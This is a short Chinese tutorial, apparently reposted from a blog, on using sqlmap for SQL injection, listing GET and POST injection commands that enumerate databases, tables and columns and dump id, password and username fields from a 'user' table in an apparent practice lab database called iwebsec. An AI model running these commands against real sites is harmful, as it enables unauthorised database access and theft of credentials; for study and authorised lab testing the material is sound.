1.打開sqlmap


2.使用
(1)get注入
python sqlmap.py -u "指定注入點的URL"
#其中“-u”參數(shù)用于指定注入點的URL。
python sqlmap.py -u "指定注入點的URL" --dbs
#,其中參數(shù)“--dbs”用于列舉數(shù)據(jù)庫。
python sqlmap.py -u "指定注入點的URL" -D iwebsec --tables
#其中參數(shù)“-D”用于指定數(shù)據(jù)庫名稱,“--tables”參數(shù)用于列舉表。
python sqlmap.py -u "指定注入點的URL" -D iwebsec -T user --columns
#其中參數(shù)“-T”用于指定表名稱,“--columns”參數(shù)用于指定列出表中字段。
python sqlmap.py -u "指定注入點的URL" -D iwebsec -T user -C id,password,username --dump
#其中參數(shù)“-C”用于指定字段名稱,參數(shù)“--dump”用于導(dǎo)出數(shù)據(jù)
-----------------------------------------------------
(2)post注入

(注:此時將數(shù)據(jù)包存在了桌面上命名為123.txt)
python sqlmap.py -r C:\Users\caicq\Desktop\123.txt
#其中“-r”參數(shù)用于指定注入點的導(dǎo)出流量包的絕對路經(jīng)文件
python sqlmap.py -r C:\Users\caicq\Desktop\123.txt --dbs
#,其中參數(shù)“--dbs”用于列舉數(shù)據(jù)庫。
python sqlmap.py -r 123.txt -D iwebsec --tables
#其中參數(shù)“-D”用于指定數(shù)據(jù)庫名稱,“--tables”參數(shù)用于列舉表。
python sqlmap.py -r 123.txt -D iwebsec -T user --columns
#其中參數(shù)“-T”用于指定表名稱,“--columns”參數(shù)用于指定列出表中字段。
python sqlmap.py -r 123.txt -D iwebsec -T user -C id,password,username --dump文章來源:http://www.zghlxwxcb.cn/news/detail-616022.html
#其中參數(shù)“-C”用于指定字段名稱,參數(shù)“—dump”用于導(dǎo)出數(shù)據(jù)文章來源地址http://www.zghlxwxcb.cn/news/detail-616022.html
到了這里,關(guān)于?sql注入之sqlmap使用的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!